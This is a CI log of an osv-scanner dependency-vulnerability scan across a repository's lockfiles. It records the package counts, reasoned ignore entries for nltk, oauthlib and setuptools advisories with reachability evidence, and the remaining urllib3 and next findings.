Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4818269Z ^[[36;1mmapfile -t lockfiles < <(jq -r '.lockfiles[] | "--lockfile=\(.parser // ""):\(.path)"' "$inventory")^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4818545Z ^[[36;1mtest "${#lockfiles[@]}" -gt 0 || exit 1^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4818776Z ^[[36;1mtest "${#lockfiles[@]}" -eq "$(jq '.lockfiles | length' "$inventory")" || exit 1^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4819213Z ^[[36;1m# --no-resolve: scan the versions each file pins. Transitive resolution of the^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4819532Z ^[[36;1m# unlocked manifests reported versions no lockfile installs (decision record).^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4819864Z ^[[36;1mscan=("$RUNNER_TEMP/osv-scanner/osv-scanner" scan source --config .github/osv-scanner.toml^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4820127Z ^[[36;1m --no-resolve "${lockfiles[@]}")^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4820283Z ^[[36;1m"${scan[@]}"^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4820406Z ^[[36;1mstatus=$?^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4820537Z ^[[36;1mif [ "$WRITE_SARIF" = true ]; then^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4820782Z ^[[36;1m "${scan[@]}" --format sarif --output-file "$RUNNER_TEMP/osv-scanner/osv-scanner.sarif"^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821022Z ^[[36;1m sarif_status=$?^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821271Z ^[[36;1m # 0: no vulnerabilities; 1: vulnerabilities (already reported above); other codes are scanner errors.^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821551Z ^[[36;1m if [ "$sarif_status" -gt 1 ]; then^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821711Z ^[[36;1m exit "$sarif_status"^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821849Z ^[[36;1m fi^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4821955Z ^[[36;1mfi^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4822066Z ^[[36;1mexit "$status"^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4874796Z shell: /usr/bin/bash --noprofile --norc -e -o pipefail {0} +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4874992Z env: +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4875103Z WRITE_SARIF: false +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4875227Z ##[endgroup] +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.5396880Z Starting filesystem walk for root: / +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.5531253Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/crawl4ai/requirements.lock file and found 95 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.5532182Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/crawl4ai/test-requirements.lock file and found 4 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6258337Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/crawl4ai/grader/package-lock.json file and found 901 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6531909Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/gpt-researcher/requirements.lock file and found 197 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6533166Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/gpt-researcher/build-requirements.lock file and found 4 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6567622Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock file and found 68 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6684856Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/deerflow/e2e/requirements.lock file and found 96 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6685746Z Scanned /work/native-agent-stack/native-agent-stack/.github/requirements-ci.txt file and found 1 package +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6730019Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/sim-crosscheck-hftbacktest/requirements.lock file and found 43 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6730971Z Scanned /work/native-agent-stack/native-agent-stack/adoption/sdk/accepted-constraints.txt file and found 36 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6784845Z Scanned /work/native-agent-stack/native-agent-stack/adoption/sdk/requirements-linux-x86_64-py313.lock file and found 36 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6797629Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/convergence-practice/application-delivery/pnpm-lock.yaml file and found 109 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6812620Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/convergence-practice/application-delivery/uv.lock file and found 31 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6849843Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/convergence-practice/wsl-retrieval/package-lock.json file and found 170 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6850494Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/adaptive-paper/requirements.txt file and found 2 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6852047Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/catalyst-provenance/requirements.lock file and found 42 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6852659Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/data/requirements.in file and found 5 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.6866889Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/data/requirements.lock file and found 21 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7006159Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/openhands/requirements.lock file and found 174 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7006840Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/runtime-workers/openhands/build-requirements.lock file and found 3 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7008443Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/alpaca.packages.lock.json file and found 45 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7009542Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Algorithm.CSharp/packages.lock.json file and found 30 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7010530Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Algorithm.Framework/packages.lock.json file and found 26 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7011311Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Algorithm/packages.lock.json file and found 22 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7012197Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/AlgorithmFactory/packages.lock.json file and found 23 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7012998Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Api/packages.lock.json file and found 22 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7013877Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Brokerages/packages.lock.json file and found 24 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7014930Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Common/packages.lock.json file and found 20 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7016141Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Compression/packages.lock.json file and found 6 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7017233Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Configuration/packages.lock.json file and found 5 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7018364Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/DownloaderDataProvider/packages.lock.json file and found 37 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7019743Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Engine/packages.lock.json file and found 36 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7020816Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Indicators/packages.lock.json file and found 21 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7021803Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Launcher/packages.lock.json file and found 81 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7022432Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Logging/packages.lock.json file and found 1 package +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7023162Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Messaging/packages.lock.json file and found 28 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7024026Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Optimizer.Launcher/packages.lock.json file and found 22 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7024795Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Optimizer/packages.lock.json file and found 21 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7025654Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Queues/packages.lock.json file and found 25 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7026911Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Report/packages.lock.json file and found 48 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7028565Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Research/packages.lock.json file and found 68 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7030600Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/Tests/packages.lock.json file and found 97 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7031731Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine/patches/lean-locks/ToolBox/packages.lock.json file and found 37 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7032391Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/research-evaluation/requirements.in file and found 2 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7049843Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/research-evaluation/requirements.lock file and found 19 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7050513Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/workers/requirements.txt file and found 5 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7050990Z Scanned /work/native-agent-stack/native-agent-stack/tools/mlx-smoke/requirements.in file and found 3 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7075066Z Scanned /work/native-agent-stack/native-agent-stack/tools/mlx-smoke/requirements.lock.txt file and found 34 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7149664Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/gap-wave2-20260923/us-equities__portfolio-risk/requirements-libs.lock file and found 56 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7155038Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/mover-v3/data-tools/requirements.lock file and found 9 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7155743Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/mover-v3/study/runtime-requirements.txt file and found 10 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7168105Z Scanned /work/native-agent-stack/native-agent-stack/evidence/artifacts/macos-application-20260924/variant/pnpm-lock.yaml file and found 109 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7200404Z Scanned /work/native-agent-stack/native-agent-stack/evidence/artifacts/macos-syn-e2e-20260924/requirements-macos-arm64-py312.lock file and found 20 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7210083Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine-trials/spy-one-zero-20260926/ml4t-backtest/lockcheck/ml4t.lock file and found 15 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7442723Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine-trials/spy-one-zero-20260926/lumibot/lockcheck/lumibot.lock file and found 264 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7443798Z Scanned /work/native-agent-stack/native-agent-stack/blueprints/us-equities/engine-trials/spy-one-zero-20260926/lumibot/lockcheck/ibapi-build/build.lock file and found 4 packages +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7444357Z End status: 0 dirs visited, 56 inodes visited, 56 Extract calls, 204.826322ms elapsed, 204.826402ms wall time +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.7464051Z Filtered 175 local/unscannable package/s from the scan. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3212163Z GHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3217451Z GHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3241783Z GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3251477Z GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3259122Z GHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3265660Z GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3271349Z GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3274901Z GHSA-h35f-9h28-mq5c and 3 aliases have been filtered out because: setuptools 80.10.2 in the same frozen evaluation-only lock, run offline under bwrap; the advisory needs an sdist build on macOS APFS/HFS+, while this environment was installed binary-only on Linux (--no-build) and its one source build used setuptools 84.0.0; relocking would change the recorded environment. At expiry, delete the Lumibot lock and these ignores unless Lumibot has been adopted by a verdict. Evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3276200Z Filtered 9 vulnerabilities from output +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3276308Z +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3276502Z Total 2 packages affected by 4 known vulnerabilities (1 Critical, 2 High, 1 Medium, 0 Low, 0 Unknown) from 2 ecosystems. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3276795Z 4 vulnerabilities can be fixed. +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3276889Z +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3277086Z +-------------------------------------+------+-----------+---------+---------+---------------+----------------------------------------------------------------------+ +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3277534Z | OSV URL | CVSS | ECOSYSTEM | PACKAGE | VERSION | FIXED VERSION | SOURCE | +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3277963Z +-------------------------------------+------+-----------+---------+---------+---------------+----------------------------------------------------------------------+ +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3278544Z | https://osv.dev/GHSA-8988-9cw3-xx77 | 7.6 | PyPI | urllib3 | 2.7.0 | 2.8.0 | blueprints/runtime-workers/openhands/requirements.lock | +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3279044Z | https://osv.dev/GHSA-gh4c-6fx4-qh6g | 6.9 | PyPI | urllib3 | 2.7.0 | 2.8.0 | blueprints/runtime-workers/openhands/requirements.lock | +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3279534Z | https://osv.dev/GHSA-vxq7-64xx-v4gw | 8.9 | PyPI | urllib3 | 2.7.0 | 2.8.0 | blueprints/runtime-workers/openhands/requirements.lock | +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3280038Z | https://osv.dev/GHSA-vcvr-r3jv-pc5j | 9.5 | npm | next | 16.3.5 | 16.3.6 | evidence/artifacts/macos-application-20260924/variant/pnpm-lock.yaml | 